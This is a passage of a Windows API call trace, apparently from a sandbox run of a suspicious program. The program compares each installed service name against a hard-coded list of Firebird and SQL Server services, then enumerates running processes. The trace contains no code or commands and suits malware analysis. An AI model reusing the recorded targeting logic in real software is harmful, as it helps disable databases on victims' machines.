	[0064.520] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0064.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0064.520] lstrlenW (lpString="iphlpsvc") returned 8
	[0064.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0064.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0064.520] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0064.520] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0064.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0064.520] lstrlenW (lpString="KeyIso") returned 6
	[0064.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0064.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0064.520] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0064.520] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0064.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0064.520] lstrlenW (lpString="LanmanServer") returned 12
	[0064.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0064.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0064.520] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0064.520] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0064.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0064.520] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0064.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0064.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0064.520] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0064.520] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0064.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0064.520] lstrlenW (lpString="lfsvc") returned 5
	[0064.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0064.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0064.520] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0064.520] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0064.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0064.520] lstrlenW (lpString="lmhosts") returned 7
	[0064.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0064.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0064.521] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0064.521] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0064.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0064.521] lstrlenW (lpString="LSM") returned 3
	[0064.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0064.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0064.521] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0064.521] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0064.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0064.521] lstrlenW (lpString="MapsBroker") returned 10
	[0064.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0064.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0064.521] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0064.521] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0064.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0064.521] lstrlenW (lpString="MpsSvc") returned 6
	[0064.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0064.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0064.521] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0064.521] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0064.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0064.521] lstrlenW (lpString="NcbService") returned 10
	[0064.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0064.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0064.521] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0064.521] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0064.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0064.521] lstrlenW (lpString="netprofm") returned 8
	[0064.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0064.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0064.521] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0064.521] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0064.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0064.521] lstrlenW (lpString="NlaSvc") returned 6
	[0064.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0064.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0064.521] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0064.522] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0064.522] lstrlenW (lpString="nsi") returned 3
	[0064.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0064.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0064.522] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0064.522] lstrlenW (lpString="PcaSvc") returned 6
	[0064.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0064.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0064.522] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0064.522] lstrlenW (lpString="PlugPlay") returned 8
	[0064.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0064.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0064.522] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0064.522] lstrlenW (lpString="Power") returned 5
	[0064.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0064.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0064.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0064.522] lstrlenW (lpString="ProfSvc") returned 7
	[0064.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0064.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0064.522] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0064.522] lstrlenW (lpString="RpcEptMapper") returned 12
	[0064.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0064.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0064.522] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0064.523] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0064.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0064.523] lstrlenW (lpString="RpcSs") returned 5
	[0064.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0064.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0064.523] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0064.523] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0064.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0064.523] lstrlenW (lpString="SamSs") returned 5
	[0064.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0064.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0064.523] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0064.523] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0064.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0064.523] lstrlenW (lpString="Schedule") returned 8
	[0064.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0064.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0064.523] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0064.523] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0064.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0064.523] lstrlenW (lpString="SecurityHealthService") returned 21
	[0064.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0064.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0064.523] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0064.523] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0064.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0064.523] lstrlenW (lpString="SENS") returned 4
	[0064.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0064.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0064.523] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0064.523] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0064.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0064.523] lstrlenW (lpString="ShellHWDetection") returned 16
	[0064.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0064.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0064.524] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0064.524] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0064.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0064.524] lstrlenW (lpString="Spooler") returned 7
	[0064.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0064.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0064.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0064.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0064.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0064.524] lstrlenW (lpString="SSDPSRV") returned 7
	[0064.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0064.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0064.524] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0064.524] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0064.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0064.524] lstrlenW (lpString="StateRepository") returned 15
	[0064.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0064.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0064.524] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0064.524] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0064.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0064.524] lstrlenW (lpString="SysMain") returned 7
	[0064.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0064.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0064.524] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0064.524] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0064.524] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91688 | out: hHeap=0x720000) returned 1
	[0064.524] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x31c
	[0065.249] Process32FirstW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0065.249] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0065.250] lstrlenW (lpString="System") returned 6
	[0065.250] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0065.251] lstrlenW (lpString="smss.exe") returned 8
	[0065.251] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0065.251] lstrlenW (lpString="csrss.exe") returned 9
	[0065.251] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0065.252] lstrlenW (lpString="wininit.exe") returned 11
	[0065.252] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0065.252] lstrlenW (lpString="csrss.exe") returned 9
	[0065.252] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0065.253] lstrlenW (lpString="winlogon.exe") returned 12
	[0065.253] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0065.253] lstrlenW (lpString="services.exe") returned 12
	[0065.254] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0065.254] lstrlenW (lpString="lsass.exe") returned 9
	[0065.254] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.255] lstrlenW (lpString="svchost.exe") returned 11
	[0065.255] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0065.255] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0065.255] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0065.256] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0065.256] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.256] lstrlenW (lpString="svchost.exe") returned 11
	[0065.256] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0065.257] lstrlenW (lpString="dwm.exe") returned 7
	[0065.257] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.258] lstrlenW (lpString="svchost.exe") returned 11
	[0065.258] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.258] lstrlenW (lpString="svchost.exe") returned 11
	[0065.258] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.259] lstrlenW (lpString="svchost.exe") returned 11
	[0065.259] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.259] lstrlenW (lpString="svchost.exe") returned 11
	[0065.259] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.260] lstrlenW (lpString="svchost.exe") returned 11
	[0065.260] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.260] lstrlenW (lpString="svchost.exe") returned 11
	[0065.260] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.261] lstrlenW (lpString="svchost.exe") returned 11
	[0065.261] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.262] lstrlenW (lpString="svchost.exe") returned 11
	[0065.262] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.263] lstrlenW (lpString="svchost.exe") returned 11
	[0065.263] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.263] lstrlenW (lpString="svchost.exe") returned 11
	[0065.263] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0065.264] lstrlenW (lpString="spoolsv.exe") returned 11
	[0065.264] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.265] lstrlenW (lpString="svchost.exe") returned 11
	[0065.265] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0065.265] lstrlenW (lpString="audiodg.exe") returned 11
	[0065.265] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0065.266] lstrlenW (lpString="sihost.exe") returned 10
	[0065.266] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.266] lstrlenW (lpString="svchost.exe") returned 11
	[0065.266] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0065.267] lstrlenW (lpString="taskhostw.exe") returned 13
	[0065.267] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0065.267] lstrlenW (lpString="explorer.exe") returned 12
	[0065.267] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0065.268] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0065.268] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0065.268] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0065.268] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0065.269] lstrlenW (lpString="Memory Compression") returned 18
